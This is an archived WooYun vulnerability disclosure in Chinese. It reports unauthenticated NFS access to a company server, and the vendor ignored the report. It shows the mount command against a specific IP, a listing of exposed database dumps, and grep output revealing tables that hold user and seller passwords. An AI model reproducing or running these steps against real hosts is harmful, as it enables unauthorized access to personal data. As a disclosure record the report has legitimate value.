乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-12: 细节已通知厂商并且等待厂商处理中 2015-01-17: 厂商已经主动忽略漏洞,细节向公众公开
RT
nfs 未授权访问mount -t nfs 115.236.20.3:/home/huangm ssd
[root@localhost ~]# ping dev.guang.comPING dev.guang.com (115.236.20.3) 56(84) bytes of data.64 bytes from 115.236.20.3: icmp_seq=1 ttl=48 time=52.2 ms
[root@localhost ssd]# ls -lhtotal 29G-rw-r--r-- 1 nobody nobody 795 Jan 6 03:09 aphrodite_2015-01-06.sql-rw-r--r-- 1 nobody nobody 792 Jan 6 03:09 apollo_2015-01-06.sql-rw-r--r-- 1 nobody nobody 792 Jan 6 03:09 athena_2015-01-06.sqldrwxr-xr-x 9 nobody nobody 4.0K Jan 8 09:29 cpc-backenddrwxr-xr-x 8 nobody nobody 4.0K Jan 8 09:36 cpc-consumer-rw-r--r-- 1 nobody nobody 87M Jan 6 03:09 crm_2015-01-06.sql-rw-r--r-- 1 nobody nobody 25G Jan 6 03:09 guang_2015-01-06.sql-rw-r--r-- 1 nobody nobody 4.6G Jan 6 15:19 guang_2015-01-06.tar.gzdrwxrwxrwx 12 nobody nobody 4.0K Dec 31 10:18 guang-monitordrwxrwxrwx 12 nobody nobody 4.0K Dec 29 21:57 guang-scheduler-rw------- 1 nobody nobody 0 Jan 6 15:40 nohup.out
不知道数据内容是啥,眼瞎,不敢看,crm估计也是啥重要数据
简单验证下里面有用户数据
[root@localhost ssd]# grep 'password' crm_2015-01-06.sql -B 10 -A 10-- Table structure for table `seller`--DROP TABLE IF EXISTS `seller`;/*!40101 SET @saved_cs_client = @@character_set_client */;/*!40101 SET character_set_client = utf8 */;CREATE TABLE `seller` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(10) DEFAULT NULL, `email` varchar(45) DEFAULT NULL, `password` varchar(32) DEFAULT NULL, `role` tinyint(4) DEFAULT NULL COMMENT '角色:0-管理员,1-普通销售人员', `unsign_client_num` smallint(11) DEFAULT NULL COMMENT '未签约商家数', `create_time` datetime DEFAULT NULL, `modify_time` datetime DEFAULT NULL, `last_login_time` datetime DEFAULT NULL COMMENT '最后登陆时间', `admin_id` int(11) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `email` (`email`)) ENGINE=InnoDB AUTO_INCREMENT=60 DEFAULT CHARSET=utf8 COMMENT='销售人员';/*!40101 SET character_set_client = @saved_cs_client */;
25G的库
[root@localhost ssd]# head -n 1001 guang_2015-01-06.sql|grep 'password' -B 10 -A 10---- Table structure for table `cpc_cellphone_login`--DROP TABLE IF EXISTS `cpc_cellphone_login`;/*!40101 SET @saved_cs_client = @@character_set_client */;/*!40101 SET character_set_client = utf8 */;CREATE TABLE `cpc_cellphone_login` ( `cellphone` varchar(11) NOT NULL, `password` varchar(50) DEFAULT NULL COMMENT '登录密码', `create_time` datetime DEFAULT NULL, PRIMARY KEY (`cellphone`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='cpc手机登陆';/*!40101 SET character_set_client = @saved_cs_client */;---- Dumping data for table `cpc_cellphone_login`--LOCK TABLES `cpc_cellphone_login` WRITE;------ Table structure for table `cpc_cellphone_login_bak20141106`--DROP TABLE IF EXISTS `cpc_cellphone_login_bak20141106`;/*!40101 SET @saved_cs_client = @@character_set_client */;/*!40101 SET character_set_client = utf8 */;CREATE TABLE `cpc_cellphone_login_bak20141106` ( `cellphone` varchar(11) NOT NULL, `password` varchar(50) DEFAULT NULL COMMENT '登录密码', `create_time` datetime DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;/*!40101 SET character_set_client = @saved_cs_client */;---- Dumping data for table `cpc_cellphone_login_bak20141106`--LOCK TABLES `cpc_cellphone_login_bak20141106` WRITE;/*!40000 ALTER TABLE `cpc_cellphone_login_bak20141106` DISABLE KEYS */;
访问控制
危害等级:无影响厂商忽略
忽略时间:2015-01-17 19:30
暂无